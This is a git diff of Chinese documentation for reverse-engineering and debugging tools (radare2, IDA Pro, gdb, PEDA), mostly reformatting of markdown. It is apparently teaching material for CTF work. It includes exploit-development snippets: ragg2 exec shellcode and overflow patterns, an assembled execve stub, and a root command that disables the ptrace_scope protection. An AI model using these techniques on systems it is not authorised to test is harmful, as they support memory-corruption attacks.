```text $ rasm2 -h Usage: rasm2 [-ACdDehLBvw] [-a arch] [-b bits] [-o addr] [-s syntax] @@ -223,6 +231,7 @@ Usage: rasm2 [-ACdDehLBvw] [-a arch] [-b bits] [-o addr] [-s syntax] rasm2 是一个内联汇编、反汇编程序。它的主要功能是获取给定机器指令操作码对应的字节。 下面是一些重要的参数: + - `-L`:列出目标体系结构所支持的插件,输出中的第一列说明了插件提供的功能(a=asm, d=disasm, A=analyze, e=ESIL)。 - `-a`:知道插件的名字后,就可以使用 -a` 来进行设置。 - `-b`:设置CPU寄存器的位数。 @@ -232,7 +241,8 @@ rasm2 是一个内联汇编、反汇编程序。它的主要功能是获取给 - `-f`:从文件中读入汇编代码。 例子: -``` + +```text $ rasm2 -a x86 -b 32 'mov eax,30' b81e000000 $ rasm2 -a x86 -b 32 'mov eax,30' -C @@ -251,7 +261,8 @@ $ rasm2 -f a.asm b81e000000 ``` -#### rahash2 +### rahash2 + ```text $ rahash2 -h Usage: rahash2 [-rBhLkv] [-b S] [-a A] [-c H] [-E A] [-s S] [-f O] [-t O] [file] ... @@ -280,13 +291,15 @@ Usage: rahash2 [-rBhLkv] [-b S] [-a A] [-c H] [-E A] [-s S] [-f O] [-t O] [file] rahash2 用于计算检验和,支持字节流、文件、字符串等形式和多种算法。 重要参数: + - `-a`:指定算法。默认为 sha256,如果指定为 all,则使用所有算法。 - `-b`:指定块的大小(而不是整个文件) - `-B`:打印处每个块的哈希 - `-s`:指定字符串(而不是文件) - `-a entropy`:显示每个块的熵(`-B -b 512 -a entropy`) -#### radiff2 +### radiff2 + ```text $ radiff2 -h Usage: radiff2 [-abcCdjrspOxuUvV] [-A[A]] [-g sym] [-t %] [file] [file] @@ -322,13 +335,15 @@ Usage: radiff2 [-abcCdjrspOxuUvV] [-A[A]] [-g sym] [-t %] [file] [file] radiff2 是一个基于偏移的比较工具。 重要参数: + - `-s`:计算文本距离并得到相似度。 - `-AC`:这两个参数通常一起使用,从函数的角度进行比较。 - `-g`:得到给定的符号或两个偏移的图像对比。 - 如:`radiff2 -g main a.out b.out | xdot -`(需要安装xdot) - `-c`:计算不同点的数量。 -#### rafind2 +### rafind2 + ```text $ rafind2 -h Usage: rafind2 [-mXnzZhv] [-a align] [-b sz] [-f/t from/to] [-[m|s|S|e] str] [-x hex] file .. @@ -354,12 +369,14 @@ Usage: rafind2 [-mXnzZhv] [-a align] [-b sz] [-f/t from/to] [-[m|s|S|e] str] [-x rafind2 用于在二进制文件中查找字符模式。 重要参数: + - `-s`:查找特定字符串。 - `-e`:使用正则匹配。 - `-z`:搜索以`\0`结束的字符串。 - `-x`:查找十六进制字符串。 -#### ragg2 +### ragg2 + ```text $ ragg2 -h Usage: ragg2 [-FOLsrxhvz] [-a arch] [-b bits] [-k os] [-o file] [-I path] @@ -400,6 +417,7 @@ Usage: ragg2 [-FOLsrxhvz] [-a arch] [-b bits] [-k os] [-o file] [-I path] ragg2 可以将高级语言编写的简单程序编译成 x86、x86-64 或 ARM 的二进制文件。 重要参数: + - `-a`:设置体系结构。 - `-b`:设置体系结构位数(32/64)。 - `-P`:生成某种模式的字符串,常用于输入到某程序中并寻找溢出点。 @@ -409,7 +427,8 @@ ragg2 可以将高级语言编写的简单程序编译成 x86、x86-64 或 ARM - `ragg2 -a x86 -b 32 -i exec` - `-e`:使用指定的编码器。查看 `-L`。 -#### rarun2 +### rarun2 + ```text $ rarun2 -h Usage: rarun2 -v|-t|script.rr2 [directive ..] @@ -462,16 +481,19 @@ timeout=3 rarun2 是一个可以使用不同环境、参数、标准输入、权限和文件描述符的启动器。 常用的参数设置: + - `program` - `arg1`, `arg2`,... - `setenv` - `stdin`, `stdout` 例子: + - `rarun2 program=a.out arg1=$(ragg2 -P 300 -r)` - `rarun2 program=a.out stdin=$(python a.py)` -#### rax2 +### rax2 + ```text $ rax2 -h Usage: rax2 [options] [expr ...] @@ -518,16 +540,18 @@ Usage: rax2 [options] [expr ...] rax2 是一个格式转换工具,在二进制、八进制、十六进制数字和字符串之间进行转换。 重要参数: -- `-e`:交换字节顺序。 + +- `-e`:交换字节顺序 - `-s`:十六进制->字符 - `-S`:字符->十六进制 - `-D`, `-E`:base64 解码和编码 - ## 交互式使用方法 + 当我们进入到 Radare2 的交互式界面后,就可以使用交互式命令进行操作。 输入 `?` 可以获得帮助信息,由于命令太多,我们只会重点介绍一些常用命令: + ```text [0x00000000]> ? Usage: [.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ; ... @@ -575,10 +599,13 @@ Prefix with number to repeat command N times (f.ex: 3x) ``` 于是我们知道了 Radare2 交互命令的一般格式,如下所示: + ```text [.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ; ... ``` + 如果你对 *nix shell, sed, awk 等比较熟悉的话,也可以帮助你很快掌握 radare2 命令。 + - 在任意字符命令后面加上 `?` 可以获得关于该命令更多的细节。如 `a?`、`p?`、`!?`、`@?`。 - 当命令以数字开头时表示重复运行的次数。如 `3x`。 - `!` 单独使用可以显示命令使用历史记录。 @@ -616,14 +643,17 @@ Prefix with number to repeat command N times (f.ex: 3x) - `e asm.bytes=false` 关闭指令 raw bytes 的显示 默认情况下,执行的每条命令都有一个参考点,通常是内存中的当前位置,由命令前的十六进制数字指示。任何的打印、写入或分析命令都在当前位置执行。例如反汇编当前位置的一条指令: -``` + +```text [0x00005060]> pd 1 ;-- entry0: ;-- rip: 0x00005060 31ed xor ebp, ebp ``` + block size 是在我们没有指定行数的时候使用的默认值,输入 `b` 即可看到,使用 `b [num]` 修改字节数,这时使用打印命令如 `pd` 时,将反汇编相应字节的指令。 -``` + +```text [0x00005060]> b 0x100 [0x00005060]> b 10 @@ -636,8 +666,10 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b 0x00005062 4989d1 mov r9, rdx ``` -#### 分析(analyze) +### 分析(analyze) + 所有与分析有关的命令都以 `a` 开头: + ```text [0x00000000]> a? |Usage: a[abdefFghoprxstc] [...] @@ -662,6 +694,7 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b | at[?] [.] analyze execution traces | av[?] [.] show vtables ``` + ```text [0x00000000]> aa? |Usage: aa[0*?] # see also 'af' and 'afna' @@ -682,12 +715,15 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b | aav [sat] find values referencing a specific section or map | aau [len] list mem areas (larger than len bytes) not covered by functions ``` + - `afl`:列出所有函数。 - `axt [addr]`:找到对给定地址的交叉引用。 - `af [addr]`:当你发现某个地址处有一个函数,但是没有被分析出来的时候,可以使用该命令重新分析。 -#### Flags +### Flags + flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spaces,用于存放不同的 flag。 + ```text [0x00000000]> f? |Usage: f [?] [flagname] # Manage offset-name flags @@ -730,11 +766,14 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac | fx[d] show hexdump (or disasm) of flag:flagsize | fz[?][name] add named flag zone -name to delete. see fz?[name] ``` + 常见用法: + - `f flag_name @ addr`:给地址 addr 创建一个 flag,当不指定地址时则默认指定当前地址。 - `f-flag_name`:删除flag。 - `fs`:管理命名空间。 - ``` + + ```text [0x00005060]> fs? |Usage: fs [*] [+-][flagspace|addr] # Manage flagspaces | fs display flagspaces @@ -754,8 +793,10 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac | fsr newname rename selected flagspace ``` -#### 定位(seeking) +### 定位(seeking) + 使用 `s` 命令可以改变当前位置: + ```text [0x00000000]> s? |Usage: s # Seek commands @@ -784,19 +825,21 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac | sr pc Seek to register | ss Seek silently (without adding an entry to the seek history) ``` + - `s+`,`s-`:重复或撤销。 - `s+ n`,`s- n`:定位到当前位置向前或向后 n 字节的位置。 - `s/ DATA`:定位到下一个出现 DATA 的位置。 -#### 信息(information) +### 信息(information) + ```text [0x00000000]> i? |Usage: i Get info from opened file (see rabin2's manpage) -| Output mode: +| Output mode: | '*' Output in radare commands | 'j' Output in json | 'q' Simple quiet output -| Actions: +| Actions: | i|ij Show info of current file (in JSON) | iA List archs | ia Show all info (imports, exports, sections..) @@ -826,8 +869,10 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac | izz Search for Strings in the whole binary | iZ Guess size of binary program ``` + `i` 系列命令用于获取文件的各种信息,这时配合上 `~` 命令来获得精确的输出,下面是一个类似 checksec 的输出: -``` + +```text [0x00005060]> iI ~relro,canary,nx,pic,rpath canary true nx true @@ -835,11 +880,13 @@ pic true relro full rpath NONE ``` + `~` 命令还有一些其他的用法,如获取某一行某一列等,另外使用 `~{}` 可以使 json 的输出更好看: + ```text [0x00005060]> ~? |Usage: [command]~[modifier][word,word][endmodifier][[column]][:line] -modifier: +modifier: | & all words must match to grep the line | $[n] sort numerically / alphabetically the Nth column | + case insensitive grep (grep -i) @@ -856,12 +903,12 @@ modifier: | {}.. less json indentation | endmodifier: | $ words must be placed at the end of line -| column: +| column: | [n] show only column n | [n-m] show column n to m | [n-] show all columns starting from column n | [i,j,k] show the columns i, j and k -| Examples: +| Examples: | i~:0 show first line of 'i' output | i~:-2 show first three lines of 'i' output | pd~mov disasm and grep for mov @@ -869,7 +916,8 @@ modifier: | i~0x400$ show lines ending with 0x400 ``` -#### 打印(print) & 反汇编(disassembling) +### 打印(print) & 反汇编(disassembling) + ```text [0x00000000]> p? |Usage: p[=68abcdDfiImrstuxz] [arg|len] [@addr] @@ -901,12 +949,15 @@ modifier: | pz[?] [len] print zoom view (see pz? for help) | pwd display current working directory ``` + 常用参数如下: + - `px`:输出十六进制数、偏移和原始数据。后跟 `o`,`w`,`q` 时分别表示8位、32位和64位。 - `p8`:输出8位的字节流。 - `ps`:输出字符串。 radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`: + ```text [0x00000000]> pd? |Usage: p[dD][ajbrfils] [sz] [arch] [bits] # Print Disassembly @@ -928,8 +979,10 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`: | pds[?] disassemble summary (strings, calls, jumps, refs) (see pdsf and pdfs) | pdt disassemble the debugger traces (see atd) ``` + `@addr` 表示一个相对寻址,这里的 addr 可以是地址、符号名等,这个操作和 `s` 命令不同,它不会改变当前位置,当然即使使用类似 `s @addr` 的命令也不会改变当前位置。 -``` + +```text [0x00005060]> pd 5 @ main ;-- main: ;-- section..text: @@ -944,8 +997,10 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`: [0x00003620]> ``` -#### 写入(write) +### 写入(write) + 当你在打开 r2 时使用了参数 `-w` 时,才可以使用该命令,`w` 命令用于写入字节,它允许多种输入格式: + ```text [0x00000000]> w? |Usage: w[x] [str] [ wo? |Usage: wo[asmdxoArl24] [hexpairs] @ addr[!bsize] | wo[24aAdlmorwx] without hexpair values, clipboard is used @@ -1005,9 +1063,11 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`: | wox [val] ^= xor (f.ex: wox 0x90) ``` -#### 调试(debugging) +### 调试(debugging) + 在开启 r2 时使用参数 `-d` 即可开启调试模式,当然如果你已经加载了程序,可以使用命令 `ood` 重新开启调试。 -``` + +```text [0x7f8363c75f30]> d? |Usage: d # Debug commands | db[?] Breakpoints commands @@ -1031,8 +1091,10 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`: | dx[?] Inject and run code on target process (See gs) ``` -#### 视图模式 +### 视图模式 + 在调试时使用视图模式是十分有用的,因为你既可以查看程序当前的位置,也可以查看任何你想看的位置。输入 `V` 即可进入视图模式,按下 `p/P` 可在不同模式之间进行切换,按下 `?` 即可查看帮助,想退出时按下 `q`。 + ```text Visual mode help: ? show this help @@ -1093,27 +1155,33 @@ Function Keys: (See 'e key.'), defaults to: F8 step over F9 continue ``` + 视图模式下的命令和命令行模式下的命令有很大不同,下面列出几个,更多的命令请查看帮助: + - `o`:定位到给定的偏移。 - `;`:添加注释。 - `V`:查看图形。 - `:`:运行 radare2 命令 - ## Web 界面使用 + Radare2 的 GUI 尚在开发中,但有一个 Web 界面可以使用,如果刚开始你不习惯命令行操作,可以输入下面的命令: -``` + +```text $ r2 -c=H [filename] ``` + 默认地址为 `http://localhost:9090/`,这样你就可以在 Web 中进行操作了,但是我强烈建议你强迫自己使用命令行的操作方式。 - ## cutter GUI + cutter 是 r2 官方的 GUI,已经在快速开发中,基本功能已经有了,喜欢界面操作的读者可以试一下(请确保 r2 已经正确安装): -``` + +```text $ yaourt -S qt ``` -``` + +```text $ git clone https://github.com/radareorg/cutter $ cd cutter $ mkdir build @@ -1121,18 +1189,20 @@ $ cd build $ qmake ../src $ make ``` -然后就可以运行了: -``` -./cutter -``` +然后就可以运行了: + +```text +$ ./cutter +``` ## 在 CTF 中的运用 + - [IOLI crackme](https://firmianay.github.io/2017/02/20/ioli_crackme_writeup.html) - [radare2-explorations-binaries](https://github.com/monosource/radare2-explorations-binaries) - ## 更多资源 + - [The radare2 book](https://www.gitbook.com/book/radare/radare2book) - [Radare2 intro](https://github.com/radare/radare2/blob/master/doc/intro.md) - [Radare2 blog](http://radare.today/) diff --git a/doc/2.2.2_idapro.md b/doc/2.2.2_idapro.md index 509de82..70f3bc2 100644 --- a/doc/2.2.2_idapro.md +++ b/doc/2.2.2_idapro.md @@ -7,8 +7,8 @@ - [技巧](#技巧) - [参考资料](#参考资料) - ## 快捷键 + - `;`:为当前指令添加全文交叉引用的注释 - `n`:定义或修改名称,通常用来标注函数名 - `g`:跳转到任意地址 @@ -16,10 +16,10 @@ - `D`:分别按字节、字、双字显示数据 - `A`:按 ASCII 显示数据 - ## IDA Python ## 常用插件 + - [IDA FLIRT Signature Database](https://github.com/push0ebp/sig-database) -- 用于识别静态编译的可执行文件中的库函数 - [Find Crypt](https://github.com/polymorf/findcrypt-yara) -- 寻找常用加密算法中的常数(需要安装 [yara-python](https://github.com/VirusTotal/yara-python)) - [IDA signsrch](https://github.com/nihilus/IDA_Signsrch) -- 寻找二进制文件所使用的加密、压缩算法 @@ -41,10 +41,12 @@ - [golang_loader_assist](https://github.com/strazzere/golang_loader_assist) -- Golang编译的二进制文件分析助手 - [BinDiff](https://www.zynamics.com/bindiff.html) - ## 常用脚本 -#### 内存 dump 脚本 + +### 内存 dump 脚本 + 调试程序时偶尔会需要 dump 内存,但 IDA Pro 没有直接提供此功能,可以通过脚本来实现。 + ```python import idaapi @@ -54,19 +56,21 @@ fp.write(data) fp.close() ``` - ## 技巧 -#### 堆栈不平衡 + +### 堆栈不平衡 + 某些函数在使用 f5 进行反编译时,会提示错误 "sp-analysis failed",导致无法正确反编译。原因可能是在代码执行中的 pop、push 操作不匹配,导致解析的时候 esp 发生错误。 解决办法步骤如下: + 1. 用 Option->General->Disassembly, 将选项 Stack pointer 打钩 2. 仔细观察每条 call sub_xxxxxx 前后的堆栈指针是否平衡 3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配 4. 注意观察 jmp 指令前后的堆栈是否有变化 5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义 - ## 参考资料 + - 《IDA Pro权威指南(第2版)》 -- https://www.hex-rays.com/products/ida/ +- diff --git a/doc/2.2.3_jeb.md b/doc/2.2.3_jeb.md index ca552b3..9e92f06 100644 --- a/doc/2.2.3_jeb.md +++ b/doc/2.2.3_jeb.md @@ -3,8 +3,8 @@ - [快捷键](#快捷键) - [参考资料](#参考资料) - ## 快捷键 ## 参考资料 -- https://www.pnfsoftware.com/ + +- diff --git a/doc/2.2.4_capstone.md b/doc/2.2.4_capstone.md index a7d41a2..4ec98dd 100644 --- a/doc/2.2.4_capstone.md +++ b/doc/2.2.4_capstone.md @@ -4,14 +4,14 @@ - [开发接口](#开发接口) - [参考资料](#参考资料) - ## 简介 -Capstone 是一款开源、轻量级、多平台、多架构的反汇编框架,支持 x86、x86-64、ARM、ARM64、MIPS、PowerPC 等架构,支持 Windows、Linux、macOS 操作系统。 +Capstone 是一款开源、轻量级、多平台、多架构的反汇编框架,支持 x86、x86-64、ARM、ARM64、MIPS、PowerPC 等架构,支持 Windows、Linux、macOS 操作系统。 ## 开发接口 ## 参考资料 -- http://www.capstone-engine.org/ + +- - [BHUSA2014-capstone](https://www.capstone-engine.org/BHUSA2014-capstone.pdf) -- https://github.com/aquynh/capstone +- diff --git a/doc/2.2.5_keystone.md b/doc/2.2.5_keystone.md index 6f16c80..a16ef86 100644 --- a/doc/2.2.5_keystone.md +++ b/doc/2.2.5_keystone.md @@ -1,3 +1,3 @@ # 2.2.5 Keystone -http://www.keystone-engine.org/ +- diff --git a/doc/2.3.1_gdb.md b/doc/2.3.1_gdb.md index 4c0ed61..4267c4c 100644 --- a/doc/2.3.1_gdb.md +++ b/doc/2.3.1_gdb.md @@ -9,17 +9,19 @@ - [GEF/pwndbg](#gefpwndbg) - [参考资料](#参考资料) - ## gdb 的组成架构 -![](../pic/2.3.1_gdb.png) +![img](../pic/2.3.1_gdb.png) ## gdb 基本工作原理 + gdb 通过系统调用 `ptrace` 来接管一个进程的执行。ptrace 系统调用提供了一种方法使得父进程可以观察和控制其它进程的执行,检查和改变其核心映像以及寄存器。它主要用来实现断点调试和系统调用跟踪。ptrace 系统调用的原型如下: -``` + +```c #include long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); ``` + - **pid_t pid**:指示 ptrace 要跟踪的进程。 - **void *addr**:指示要监控的内存地址。 - **void *data**:存放读取出的或者要写入的数据。 @@ -28,7 +30,8 @@ long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); - *PTRACE_ATTACH*:attach 到一个指定的进程,使其成为当前进程跟踪的子进程,而子进程的行为等同于它进行了一次 PTRACE_TRACEME 操作。但需要注意的是,虽然当前进程成为被跟踪进程的父进程,但是子进程使用 `getppid()` 的到的仍将是其原始父进程的 pid。 - *PTRACE_CONT*:继续运行之前停止的子进程。可同时向子进程交付指定的信号。 -#### gdb 的三种调试方式 +### gdb 的三种调试方式 + - 运行并调试一个新进程 - 运行 gdb,通过命令行或 `file` 命令指定目标程序。 - 输入 `run` 命令, gdb 执行下面的操作: @@ -44,29 +47,36 @@ long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data); - gdbserver 的启动方式相当于运行并调试一个新创建的进程 注意,在你将 gdb attach 到一个进程时,可能会出现这样的问题: -``` + +```text gdb-peda$ attach 9091 Attaching to process 9091 ptrace: Operation not permitted. ``` + 这是因为开启了内核参数 `ptrace_scope`: -``` -$ cat /proc/sys/kernel/yama/ptrace_scope + +```text +$ cat /proc/sys/kernel/yama/ptrace_scope 1 ``` + 1 表示 True,此时普通用户进程是不能对其他进程进行 attach 操作的,当然你可以用 root 权限启动 gdb,但最好的办法还是关掉它: -``` + +```text # echo 0 > /proc/sys/kernel/yama/ptrace_scope ``` -#### 断点的实现 +### 断点的实现 + 断点的功能是通过内核信号实现的,在 x86 架构上,内核向某个地址打入断点,实际上就是往该地址写入断点指令 `INT 3`,即 `0xCC`。目标程序运行到这条指令之后会触发 `SIGTRAP` 信号,gdb 捕获这个信号,并根据目标程序当前停止的位置查询 gdb 维护的断点链表,若发现在该地址确实存在断点,则可判定为断点命中。 - ## gdb 基本操作 + 使用 `-tui` 选项可以将代码显示在一个漂亮的交互式窗口中。 -#### break -- b +### break -- b + - `break` 当不带参数时,在所选栈帧中执行的下一条指令处设置断点。 - `break ` 在函数体入口处打断点。 - `break ` 在当前源码文件指定行的开始处打断点。 @@ -76,7 +86,8 @@ $ cat /proc/sys/kernel/yama/ptrace_scope - `break
` 在程序指令的地址处打断点。 - `break ... if ` 设置条件断点,`...` 代表上述参数之一(或无参数),`cond` 为条件表达式,仅在 `cond` 值非零时停住程序。 -#### info +### info + - `info breakpoints -- i b` 查看断点,观察点和捕获点的列表。 - `info breakpoints [list…]` - `info break [list…]` @@ -87,133 +98,177 @@ $ cat /proc/sys/kernel/yama/ptrace_scope - `info frame` 打印出指定栈帧的详细信息。 - `info proc` 查看 proc 里的进程信息。 -#### disable -- dis +### disable -- dis + 禁用断点,参数使用空格分隔。不带参数时禁用所有断点。 + - `disable [breakpoints] [list…]` `breakpoints` 是 `disable` 的子命令(可省略),`list…` 同 `info breakpoints` 中的描述。 -#### enable +### enable + 启用断点,参数使用空格分隔。不带参数时启用所有断点。 + - `enable [breakpoints] [list…]` 启用指定的断点(或所有定义的断点)。 - `enable [breakpoints] once list…` 临时启用指定的断点。GDB 在停止您的程序后立即禁用这些断点。 - `enable [breakpoints] delete list…` 使指定的断点启用一次,然后删除。一旦您的程序停止,GDB 就会删除这些断点。等效于用 `tbreak` 设置的断点。 `breakpoints` 同 `disable` 中的描述。 -#### clear +### clear + 在指定行或函数处清除断点。参数可以是行号,函数名称或 `*` 跟一个地址。 + - `clear` 当不带参数时,清除所选栈帧在执行的源码行中的所有断点。 - `clear `, `clear ` 删除在命名函数的入口处设置的任何断点。 - `clear `, `clear ` 删除在指定的文件指定的行号的代码中设置的任何断点。 - `clear
` 清除指定程序指令的地址处的断点。 -#### delete -- d +### delete -- d + 删除断点。参数使用空格分隔。不带参数时删除所有断点。 + - `delete [breakpoints] [list…]` -#### tbreak +### tbreak + 设置临时断点。参数形式同 `break` 一样。当第一次命中时被删除。 -#### watch +### watch + 为表达式设置观察点。每当一个表达式的值改变时,观察点就会停止执行您的程序。 + - `watch [-l|-location] ` 如果给出了 `-l` 或者 `-location`,则它会对 `expr` 求值并观察它所指向的内存。 另外 `rwatch` 表示在访问时停止,`awatch` 表示在访问和改变时都停止。 -#### step -- s +### step -- s + 单步执行程序,直到到达不同的源码行。 + - `step [N]` 参数 `N` 表示执行 N 次(或由于另一个原因直到程序停止)。 -#### reverse-step +### reverse-step + 反向步进程序,直到到达另一个源码行的开头。 + - `reverse-step [N]` 参数 `N` 表示执行 N 次(或由于另一个原因直到程序停止)。 -#### next -- n +### next -- n + 单步执行程序,执行完子程序调用。 + - `next [N]` 与 `step` 不同,如果当前的源代码行调用子程序,则此命令不会进入子程序,而是继续执行,将其视为单个源代码行。 -#### reverse-next +### reverse-next + 反向步进程序,执行完子程序调用。 + - `reverse-next [N]` 如果要执行的源代码行调用子程序,则此命令不会进入子程序,调用被视为一个指令。 -#### return +### return + 您可以使用 `return` 命令取消函数调用的执行。如果你给出一个表达式参数,它的值被用作函数的返回值。 + - `return ` 将 `expression` 的值作为函数的返回值并使函数直接返回。 -#### finish -- fin +### finish -- fin + 执行直到选定的栈帧返回。 + - `finish` -#### until -- u +### until -- u + 执行程序直到大于当前栈帧或当前栈帧中的指定位置(与 `break` 命令相同的参数)的源码行。此命令常用于通过一个循环,以避免单步执行。 + - `until ` 继续运行程序,直到达到指定的位置,或者当前栈帧返回。 -#### continue -- c +### continue -- c + 在信号或断点之后,继续运行被调试的程序。 + - `continue [N]` 如果从断点开始,可以使用数字 `N` 作为参数,这意味着将该断点的忽略计数设置为 `N - 1`(以便断点在第 N 次到达之前不会中断)。 -#### print -- p +### print -- p + 求表达式 expr 的值并打印。可访问的变量是所选栈帧的词法环境,以及范围为全局或整个文件的所有变量。 + - `print [expr]` - `print /f [expr]` 通过指定 `/f` 来选择不同的打印格式,其中 `f` 是一个指定格式的字母 -#### x +### x + 检查内存。 + - `x/nfu ` - `x ` + - `n`, `f`, 和 `u` 都是可选参数,用于指定要显示的内存以及如何格式化。 + - `addr` 是要开始显示内存的地址的表达式。 + - `n` 重复次数(默认值是 1),指定要显示多少个单位(由 `u` 指定)的内存值。 + - `f` 显示格式(初始默认值是 `x`),显示格式是 `print('x','d','u','o','t','a','c','f','s')` 使用的格式之一,再加 `i`(机器指令)。 + - `u` 单位大小,`b` 表示单字节,`h` 表示双字节,`w` 表示四字节,`g` 表示八字节。 -`n`, `f`, 和 `u` 都是可选参数,用于指定要显示的内存以及如何格式化。 -`addr` 是要开始显示内存的地址的表达式。 -`n` 重复次数(默认值是 1),指定要显示多少个单位(由 `u` 指定)的内存值。 -`f` 显示格式(初始默认值是 `x`),显示格式是 `print('x','d','u','o','t','a','c','f','s')` 使用的格式之一,再加 `i`(机器指令)。 -`u` 单位大小,`b` 表示单字节,`h` 表示双字节,`w` 表示四字节,`g` 表示八字节。 +### display -#### display 每次程序停止时打印表达式 expr 的值。 + - `display ` - `display/fmt ` - `display/fmt ` `fmt` 用于指定显示格式。对于格式 `i` 或 `s`,或者包括单位大小或单位数量,将表达式 `addr` 添加为每次程序停止时要检查的内存地址。 -#### disassemble -- disas +### disassemble -- disas + 反汇编命令。 + - `disas ` 反汇编指定函数 - `disas ` 反汇编某地址所在函数 - `disas ` 反汇编从开始地址到结束地址的部分 -#### undisplay +### undisplay + 取消某些表达式在程序停止时自动显示。参数是表达式的编号(使用 `info display` 查询编号)。不带参数表示取消所有自动显示表达式。 -#### disable display +### disable display + 禁用某些表达式在程序停止时自动显示。禁用的显示项目被再次启用。参数是表达式的编号(使用 `info display` 查询编号)。不带参数表示禁用所有自动显示表达式。 -#### enable display +### enable display + 启用某些表达式在程序停止时自动显示。参数是重新显示的表达式的编号(使用 `info display` 查询编号)。不带参数表示启用所有自动显示表达式。 -#### help -- h +### help -- h + 打印命令列表。 + - `help ` 您可以获取该类中各个命令的列表。 - `help ` 显示如何使用该命令的简述。 -#### attach +### attach + 挂接到 GDB 之外的进程或文件。将进程 ID 或设备文件作为参数。 + - `attach ` -#### run -- r +### run -- r + 启动被调试的程序。可以直接指定参数,也可以用 `set args` 设置(启动所需的)参数。还允许使用 `>`, `<`, 或 `>>` 进行输入和输出重定向。 甚至可以运行一个脚本,如: -``` + +```text run `python2 -c 'print "A"*100'` ``` -#### backtrace -- bt +### backtrace -- bt + 打印整个栈的回溯。 - `bt` 打印整个栈的回溯,每个栈帧一行。 @@ -223,44 +278,53 @@ run `python2 -c 'print "A"*100'` > 注意:使用 gdb 调试时,会自动关闭 ASLR,所以可能每次看到的栈地址都不变。 -#### ptype +### ptype + 打印类型 TYPE 的定义。 + - `ptype[/FLAGS] TYPE-NAME | EXPRESSION` 参数可以是由 `typedef` 定义的类型名, 或者 `struct STRUCT-TAG` 或者 `class CLASS-NAME` 或者 `union UNION-TAG` 或者 `enum ENUM-TAG`。 -#### set follow-fork-mode +### set follow-fork-mode + 当程序 fork 出一个子进程的时候,gdb 默认会追踪父进程(`set follow-fork-mode parent`),但也可以使用命令 `set follow-fork-mode child` 让其追踪子进程。 另外,如果想要同时追踪父进程和子进程,可以使用命令 `set detach-on-fork off`(默认为`on`),这样就可以同时调试父子进程,在调试其中一个进程时,另一个进程被挂起。如果想让父子进程同时运行,可以使用 `set schedule-multiple on`(默认为`off`)。 但如果程序是使用 exec 来启动了一个新的程序,可以使用 `set follow-exec-mode new`(默认为`same`) 来新建一个 inferior 给新程序,而父进程的 inferior 仍然保留。 -#### thread apply all bt +### thread apply all bt + 打印出所有线程的堆栈信息。 -#### generate-core-file +### generate-core-file + 将调试中的进程生成内核转储文件。 -#### directory -- dir +### directory -- dir + 设置查找源文件的路径。 或者使用 gdb 的 `-d` 参数,例如:`gdb a.out -d /search/code/` - ## gdb-peda + 当 gdb 启动时,它会在当前用户的主目录中寻找一个名为 `.gdbinit` 的文件;如果该文件存在,则 gdb 就执行该文件中的所有命令。通常,该文件用于简单的配置命令。但是 `.gdbinit` 的配置十分繁琐,因此对 gdb 的扩展通常用插件的方式来实现,通过 python 的脚本可以很方便的实现需要的功能。 PEDA(Python Exploit Development Assistance for GDB)是一个强大的 gdb 插件。它提供了高亮显示反汇编代码、寄存器、内存信息等人性化的功能。同时,PEDA 还有一些实用的新命令,比如 checksec 可以查看程序开启了哪些安全机制等等。 -#### 安装 +### 安装 + 安装 peda 需要的软件包: + ```shell $ sudo apt-get install nasm micro-inetd $ sudo apt-get install libc6-dbg vim ssh ``` 安装 peda: + ```shell $ git clone https://github.com/longld/peda.git ~/peda $ echo "source ~/peda/peda.py" >> ~/.gdbinit @@ -268,18 +332,20 @@ $ echo "DONE! debug your program with gdb and enjoy" ``` 如果系统为 Arch Linux,则可以直接安装: + ```shell $ yaourt -S peda ``` -#### peda命令 +### peda命令 + - **`aslr`** -- 显示/设置 gdb 的 ASLR - `asmsearch` -- Search for ASM instructions in memory - `asmsearch "int 0x80"` - `asmsearch "add esp, ?" libc` - `assemble` -- On the fly assemble and execute instructions using NASM - `assemble` - - ``` + - ```text assemble $pc > mov al, 0xb > int 0x80 @@ -341,7 +407,7 @@ $ yaourt -S peda - `nextcall` -- Step until next 'call' instruction in specific memory range - `nextcall cpy` - `nextjmp` -- Step until next 'j*' instruction in specific memory range - - `nextjmp` + - `nextjmp` - `nxtest` -- Perform real NX test to see if it is enabled/supported by OS - **`patch`** -- 使用字符串/十六进制字符串/整形数 - `patch $esp 0xdeadbeef` @@ -450,7 +516,8 @@ $ yaourt -S peda - `xrefs` -- Search for all call/data access references to a function/variable - `xuntil` -- Continue execution until an address or function -#### 使用 PEDA 和 Python 编写 gdb 脚本 +### 使用 PEDA 和 Python 编写 gdb 脚本 + - 全局类 - `pedacmd`: - 交互式命令 @@ -461,13 +528,13 @@ $ yaourt -S peda - 有返回值 - 例如:`peda.getreg("eax")` - 小工具 - - 例如:`to_int()`、`format_address()` - - 获得帮助 - - `pyhelp peda` - - `pyhelp hex2str` + - 例如:`to_int()`、`format_address()` + - 获得帮助 + - `pyhelp peda` + - `pyhelp hex2str` - 单行/交互式使用 - `gdb-peda$ python print peda.get_vmmap()` - - ``` + - ```text gdb-peda$ python > status = peda.get_status() > while status == "BREAKPOINT": @@ -475,28 +542,30 @@ $ yaourt -S peda > end ``` - 外部脚本 - - ``` + - ```text # myscript.py def myrun(size): argv = cyclic_pattern(size) peda.execute("set arg %s" % argv) peda.execute("run") ``` - ``` + ```text gdb-peda$ source myscript.py gdb-peda$ 